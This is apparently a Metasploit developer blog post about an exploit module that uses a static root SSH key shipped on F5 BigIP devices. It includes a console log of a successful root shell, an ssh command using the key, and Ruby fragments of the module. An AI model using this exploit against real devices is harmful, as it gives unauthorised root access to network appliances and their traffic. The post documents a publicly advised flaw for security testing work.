As HD mentioned, F5 has been inadvertently shipping a static ssh key that can be used to authenticate as root on many of their BigIP devices. Shortly after the advisory, an anonymous contributor hooked us up with the private key.

Getting down to business, here it is in action:

    18:42:35 0 exploit(f5_bigip_known_privkey) > exploit

    [ ] Successful login

    [*] Found shell.

    [*] Command shell session 3 opened ([redacted]:52979 -> [redacted]:22) at 2012-06-22 18:42:43 -0600

    id; uname -a

    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

    Linux [redacted] 2.4.21-10.0.1402.0smp #2 SMP Mon Feb 15 10:23:56 PST 2010 i686 athlon i386 GNU/Linux

    ^Z

    Background session 3? [y/N]  y

    18:42:35 1 exploit(f5_bigip_known_privkey) >

Of course, since it's just a regular ssh key, you can easily just drop it in a file and use a standard ssh client.

    ssh -i ~/.ssh/f5-bigip.priv root@8.8.8.8

The advantage of using Metasploit to exploit this weakness is in the session management and rapid post-exploitation capabilities that the framework offers.

This bug is also interesting in that it gave us a good test case for using static SSH credentials as an exploit module rather than auxiliary. The key difference between exploit and auxiliary modules is usually the need for a payload. If it needs a payload: exploit. Otherwise, it's auxiliary. In this case it's a little blurry, though, because it results in a session, which is typically an exploit trait. Some of our authentication bruteforce scanners get around this with some ruby acrobatics so they can still create a session despite not having a payload or a handler.

From a module developer perspective, this exploit has a few interesting aspects that you won't see elsewhere.

First, and probably most important, it doesn't upload a payload to the victim. The connection itself becomes a shell, so it doesn't need to but that presents a bit of a problem with the framework's design. Fortunately there is a payload for exactly this situation: cmd/unix/interact. This simple payload is different from most; all it does is shunt commands from the user straight to the socket and back. It uses a "find" handler similar to the way a findsock payload works. To tell the framework about the payload and handler this exploit will require, we need a block in the module info like so:

    'Payload'     => {
        'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
        },
    },

Since there is really only one payload that works with this exploit, it also makes sense to set it by default:

'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 

Next, it uses our modified Net::SSH library to connect to the victim. Most exploits will include Msf::Exploit::Remote::Tcp or one of its descendants; those related mixins all set up the options everyone is familiar with: RHOST, RPORT, etc. Since this one does not, we have to do it manually like so:

    register_options(
        [ 
            # Since we don't include Tcp, we have to register this manually
            Opt::RHOST(),
            Opt::RPORT(22),
        ], self.class 

Lastly, because the handler is of type "find" we must call handler() to get a session. Most Remote::Tcp exploits don't have to do this if they are not compatible with "find" because the handler will spawn a session whenever a connection is made (either reverse or bind). However, all exploits that are compatible with "find" payloads must call handler() at some point. Normally there is a global socket created by the Tcp mixin when you call connect() but in this case it is necessary to let the handler know our socket is now a shell.

    def exploit
        conn = do_login("root")
        if conn
            print_good "Successful login"
            handler(conn.lsock)
        end
    end 

This was a fun module to write. The devices it targets can be a goldmine for a pentester who likes packets since they're basically a giant packet sink that lets you read and modify traffic willy nilly. ARP spoofing is noisy and DNS poisoning is hard, let's just own the firewall.